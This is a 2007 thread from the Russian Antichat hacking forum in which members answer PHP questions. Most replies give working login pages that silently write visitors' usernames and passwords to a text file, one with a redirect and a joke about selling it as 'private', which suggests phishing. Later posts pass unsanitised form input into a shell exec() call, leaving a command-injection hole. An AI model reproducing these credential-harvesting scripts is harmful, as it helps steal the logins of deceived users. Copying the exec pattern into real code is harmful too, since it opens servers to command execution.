HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #341  
Старый 22.08.2007, 10:27
Ad
Познающий
Регистрация: 15.07.2006
Сообщений: 48
С нами: 10433306

Репутация: 26
По умолчанию

Людей хелп. Нужен такой просто php скрипт.
Поле пароль
Собсно вводим пароль если пароль верный то нас кидает на определенную страницу если пароль неверный то выдается соответствующие сообщение.
 
Ответить с цитированием

  #342  
Старый 22.08.2007, 10:46
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию

password.html
Цитата:
<html>
<head>
<title>Авторизация доступа</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<h1>Введите пароль:</h1>
<form action="password.php" method="post">
<input type="password" name="passwd" maxlength="24" size="18" value="">
<br><br>
<input type="submit" value="Авторизация">
</form>
</body>
</html>
password.php
Цитата:
<?php

define("REDIRECT_URL", "http://www.yandex.ru");
define("ACCESS_PASSWD", "Шапка0012УшанкА");

$passwd = trim($_POST["passwd"]);

if (strlen($passwd) && $passwd == ACCESS_PASSWD)
header("Location: " . REDIRECT_URL);
else
print("<h1 style=\"color: red\">Введённый пароль не верен!</h1>");

?>
Заходишь на password.html и вводишь пароль. Пароль забит константой.
 
Ответить с цитированием

  #343  
Старый 22.08.2007, 14:54
Reanimat0R
Новичок
Регистрация: 10.06.2007
Сообщений: 26
С нами: 9957771

Репутация: 4
По умолчанию

Скажите пожалуйста, как сделать так, что бы при вводе логина и пароля, они автоматически сохранялись в отдельный файлик?
 
Ответить с цитированием

  #344  
Старый 22.08.2007, 15:13
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,187
С нами: 10495046

Репутация: 2642


По умолчанию

Цитата:
Сообщение от Reanimat0R  
Скажите пожалуйста, как сделать так, что бы при вводе логина и пароля, они автоматически сохранялись в отдельный файлик?
PHP код:
<?
$file 
'data.txt'//файлик
if(!$_POST['s'])
{
?>
<form method=POST>
 Логин: <input type=text name=login><br>
 Пароль: <input type=password name=pass><br>
 <input type=submit name=s>
</form>
<?
} else {
 
$format $_POST['login'].' ||| '.$_POST['pass']; //в каком формате записать логин и пасс (запишется так - ЛОГИН ||| ПАРОЛЬ)
 
$f fopen($file'ab');
 
fwrite($f$format."\r\n");
 
fclose($f);
}
?>
 
Ответить с цитированием

  #345  
Старый 22.08.2007, 15:19
DIAgen
Познавший АНТИЧАТ
Регистрация: 02.05.2006
Сообщений: 1,191
С нами: 10539746

Репутация: 1276


По умолчанию

Еще вот так сделать... и можно будет продовать как приват..)))
PHP код:
<?
$file 
'data.txt'//файлик
if(!$_POST['s'])
{
?>
<form method=POST>
 Логин: <input type=text name=login><br>
 Пароль: <input type=password name=pass><br>
 <input type=submit name=s>
</form>
<?
} else {
 
$format $_POST['login'].' ||| '.$_POST['pass']; //в каком формате записать логин и пасс (запишется так - ЛОГИН ||| ПАРОЛЬ)
 
$f fopen($file'ab');
 
fwrite($f$format."\r\n");
 
fclose($f);
header("Location: http://example.com/");
}
?>
 
Ответить с цитированием

  #346  
Старый 22.08.2007, 15:22
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию

password.html
Цитата:
<html>
<head>
<title>Авторизация доступа</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<h1>Введите логин и пароль:</h1>
<form action="password.php" method="post">
Логин: <input type="text" name="login" maxlength="24" size="18" value="">
<br><br>
Пароль: <input type="password" name="passwd" maxlength="24" size="18" value="">
<br><br>
<input type="submit" value="Авторизация">
</form>
</body>
</html>
password.php
Цитата:
<?php

$login = @trim($_POST["login"]);
$passwd = @trim($_POST["passwd"]);

if (!strlen($login) || !strlen($passwd))
die("<h1 style=\"color: red\">Данные не верны. Повторите ввод!</h1>");

$fileId = fopen("passwords.txt", "a+");
if (!$fileId)
die("<h1 style=\"color: red\">Не могу открыть файл для записи!</h1>");

$line = sprintf("%s:%s\n", $login, $passwd);

if (!fputs($fileId, $line))
die("<h1 style=\"color: red\">Не могу записать данные в файл!</h1>");

fclose($fileId);

print("<h1 style=\"color: green\">Спасибо за посещение, {$login}!</h1>");

?>
Заходишь на password.html и вводишь логин и пароль. Скрипт password.php будет вести запись введённых данных и уведомлять пользователя "Спасибо за посещение!".
 
Ответить с цитированием

  #347  
Старый 22.08.2007, 15:30
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,187
С нами: 10495046

Репутация: 2642


По умолчанию

Цитата:
Сообщение от groundhog  
Заходишь на password.html и вводишь логин и пароль. Скрипт password.php будет вести запись введённых данных и уведомлять пользователя "Спасибо за посещение!".
Что-то у тебя он какой-то "сложный" зачем столько гемора?
А вообще достаточно скрипта
PHP код:
exec('echo '.$_POST.'|||'.$_POST.' > log.txt'); 
 
Ответить с цитированием

  #348  
Старый 22.08.2007, 15:46
ENFIX
Участник форума
Регистрация: 06.06.2006
Сообщений: 213
С нами: 10488959

Репутация: 474
По умолчанию

NOmeR1, тогда точнее будет так:
PHP код:
exec("echo ".$_POST['login']."|||".$_POST['pass']." > log.txt"); 
 
Ответить с цитированием

  #349  
Старый 22.08.2007, 15:55
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,187
С нами: 10495046

Репутация: 2642


По умолчанию

Цитата:
Сообщение от ENFIX  
NOmeR1, тогда точнее будет так:
PHP код:
exec("echo ".$_POST['login']."|||".$_POST['pass']." > log.txt"); 
Какая разница? Ты сменил ковычки, зачем? Какой смысл?
 
Ответить с цитированием

  #350  
Старый 22.08.2007, 16:00
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию

NOmeR1, чего там сложного? Зато обрабатывает все ошибки и ведёт себя однозначно + я делал это для наглядности отдельно (пример отправки данных, пример обработки, пример записи).

Цитата:
exec('echo '.$_POST['login'].'|||'.$_POST['pass'].' > log.txt');
А этот код не сработает в safe mode. И тогда уж лучше:

Цитата:
exec('echo '.$_POST['login'].'|||'.$_POST['pass'].' >> log.txt');
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 11 (пользователей: 0 , гостей: 11)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.